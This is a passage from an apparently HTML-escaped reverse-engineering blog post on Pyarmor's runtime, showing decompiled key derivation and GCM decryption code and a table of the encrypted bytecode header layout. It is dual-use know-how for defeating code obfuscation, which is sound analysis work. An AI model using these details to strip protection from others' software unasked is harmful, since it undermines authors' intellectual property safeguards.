  &lt;span class=&quot;n&quot;&gt;xmmword_64948140&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_mm_xor_si128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_mm_load_si128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__m128i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xmmword_64948140&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;si128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;cm&quot;&gt;/* &amp;lt;snip&amp;gt; - more XORs with 0xF1 */&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;byte_6494824A&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xF1u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;byte_6494824B&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xF1u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;LOBYTE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;word_6494824C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;word_6494824C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xF1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;HIBYTE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;word_6494824C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xF1u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md5_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xmmword_64948140&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10ELL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xmmword_64948140&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x108uLL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xmmword_64948140&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;word_6494824C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md5_done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Essentially all data that goes into this key computation is static.
The only slightly “dynamic” part is the region of 0x10E bytes that is XOR-decoded at runtime, and then cleared after being processed by MD5 - it seems to be yet another RSA key, apart from the plain RSA key that is being hashed in the second call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;md5_process&lt;/code&gt;.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;signature&lt;/code&gt; parameter, passed from the caller, is located in the same general &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unk_64944060&lt;/code&gt; memory region in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.data&lt;/code&gt; section.&lt;/p&gt;

&lt;p&gt;So to obtain the key specific to your Pyarmor runtime, you can either attach a debugger to a Python interpreter and break after the derivation function has been called, or you can compute it statically.
We wrote an IDAPython script that follows the latter route. With some tinkering, the same could be achieved using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pefile&lt;/code&gt; or similar libraries.&lt;/p&gt;

&lt;p&gt;The resulting digest is then directly used as AES-128 key.&lt;/p&gt;

&lt;h3 id=&quot;gcm&quot;&gt;GCM&lt;/h3&gt;

&lt;p&gt;The use of GCM in the native module is somewhat bizarre for multiple reasons.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;cipherdata&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;gcmobj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cryptres&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_reset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptres&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cryptres&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_add_iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcmobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cryptres&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_add_aad_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcmobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cryptres&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcmobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipherdata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datasize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipherdata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// handle error and return or exit process&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can see multiple GCM functions being used here that look like they should be from libtomcrypt, however that is not directly the case.
These stem from a different compilation unit using a smaller &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcm&lt;/code&gt; state structure than libtomcrypt.
The struct contains keys for different cipher types at its beginning, and some of them were omitted in this variant.
In the case of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcm_add_aad&lt;/code&gt;, the “normal” libtomcrypt function is in fact also present in the binary, which is why we have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_0&lt;/code&gt; suffix here.
The special functions do, however, make direct use of various primitives from the normal libtomcrypt, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcm_mult_h&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Another thing to note is the absence of authentication tag handling.&lt;/p&gt;

&lt;figure id=&quot;gcmmeme&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/gcm-meme.jpg&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/02/gcm-meme.jpg&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/gcm-meme.jpg&quot; alt=&quot;Meme about using authenticated encryption but not authenticating anything&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/gcm-meme.jpg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/gcm-meme.jpg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/gcm-meme.jpg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;&quot;I heard GCM is a good cipher mode to use&quot;&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The point of using GCM is to prevent manipulation of the ciphertext, i.e., to ensure that decryption returns the exact data that was encrypted.
Otherwise, it’s possible for someone to flip a couple bits in the ciphertext in the hopes of achieving interesting changes in the plaintext.
Without storing and comparing the authentication tag, no guarantees about the output data are made, and one might as well have used any other cipher mode such as CTR.&lt;/p&gt;

&lt;p&gt;It’s not entirely clear why Pyarmor chose GCM, although their choices do have a noteworthy consequence: Some tools and libraries outright refuse to decrypt anything in GCM mode if you don’t have an authentication tag. For example, it’s not possible to use Cyberchef in this particular case.&lt;/p&gt;

&lt;p&gt;Lastly, the nonce (or initialization vector) handling is slightly weird.
While the size is the GCM default of 12 bytes, it is not stored in one contiguous piece.
You can see that the dword at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+ 40&lt;/code&gt; is replaced with the dword at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+ 36&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The decryption snippet shown in this section is used in various places by the native module whenever it needs to decrypt any amount of data, for example the huge bytes string we saw in the beginning is largely comprised of GCM-ciphertext.&lt;/p&gt;

&lt;h2 id=&quot;now-we-can-decrypt-everything-right&quot;&gt;Now we can decrypt everything, right?&lt;/h2&gt;

&lt;p&gt;You can think of the huge bytes string passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; as an encrypted .pyc file with a custom header.
The header has the following structure:&lt;/p&gt;

&lt;figure&gt;

  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th style=&quot;text-align: left&quot;&gt;Offset&lt;/th&gt;
        &lt;th style=&quot;text-align: left&quot;&gt;Description&lt;/th&gt;
        &lt;th style=&quot;text-align: left&quot;&gt;Example&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;0:8&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Module magic (must match native module identifier)&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;PY007106&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;9&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Python major version&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;3&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;10&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Python minor version&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;12&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;12:16&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;.pyc magic for specific Python version&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CB 0D 0D 0A&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;20&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Protection type? &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9&lt;/code&gt; for bcc mode, otherwise &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;8&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;28:32&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Ciphertext offset&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;64&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;32:36&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Ciphertext size&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;496093&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;36:40&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;IV bytes [0:4]; individual bytes contain flags; also used as “validation” dword for decrypted data&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12 09 06 00&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;37&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Any of the first 3 bits in this byte must be 1 for GCM to be applied&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;9&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;40:44&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Fake IV bytes [0:4]&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2C FE 35 B2&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;44:52&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;IV bytes [4:12]&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;83 6F 1C 69 1D 3F AB 73&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;dynamic&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;Ciphertext, at offset given above&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt; &lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;

  &lt;figcaption&gt;Figure 4: Structure of bytes string passed to __pyarmor__()&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;br /&gt;
Applying GCM decryption yields the following:&lt;/p&gt;

&lt;figure id=&quot;decrypted1&quot; class=&quot;figure-posts&quot; style=&quot;width: 70%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/decrypted1.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/02/decrypted1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/decrypted1.png&quot; alt=&quot;Screenshot of hex editor showing initial decryption result&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/decrypted1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/decrypted1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/decrypted1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 5: First decryption result&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Now this doesn’t look too shabby, we can see some strings and further down (outside the range shown here), we even get interesting ones like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;key&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rc4_decrypt&lt;/code&gt;.
One thing that immediately caught our eye is that there is still some data that seems to have pretty high entropy, especially at the ranges 0x60..0x90 and after 0x140.
Thus, the next goal is going to be understanding what context the still-encrypted data appears in.&lt;/p&gt;

&lt;p&gt;The decrypted data has another Pyarmor-specific header, which helpfully comes with a length prefix (0x20).
We can see a repetition of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12 09 06 00&lt;/code&gt;, which is compared with the value from the outer header.
Afterwards (starting from 0x20), we have data that is passed into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyMarshal_ReadObjectFromString()&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;python-marshaling&quot;&gt;Python marshaling&lt;/h3&gt;

&lt;p&gt;The Python interpreter uses the built-in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;marshal&lt;/code&gt; module whenever it needs to serialize or deserialize compiled scripts.
It essentially implements a Python-specific binary format for basic types like integers, strings, floats, tuples, lists, and most importantly, code objects.
The format is not stable and tends to vary with each Python interpreter version.
Thus, to have any chance at all, the data must be loaded with the exact Python version it was written with.
When we tried this with python3.12, it failed with a “bad marshal data (unknown type code)” error. Uh oh….&lt;/p&gt;

&lt;p&gt;In the previous section, we mentioned a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyMarshal&lt;/code&gt; function that is used.
We omitted the fact that this function is &lt;em&gt;not&lt;/em&gt; imported from the main Python library. Instead, the entire marshaling code was vendored into the Pyarmor runtime, and we identified it by searching for some of the error strings on GitHub.
There’s pretty much only one reason one would do such a thing: in order to customize some logic in the code.&lt;/p&gt;

&lt;p&gt;So we accepted our fate, built python3.12 from source, and stepped through the deserialization logic side by side to find the point of divergence.
Somewhat unsurprisingly, the difference turned out to be in code objects, specifically at the end of the object data. Pyarmor contains the following additional logic:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;readable&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
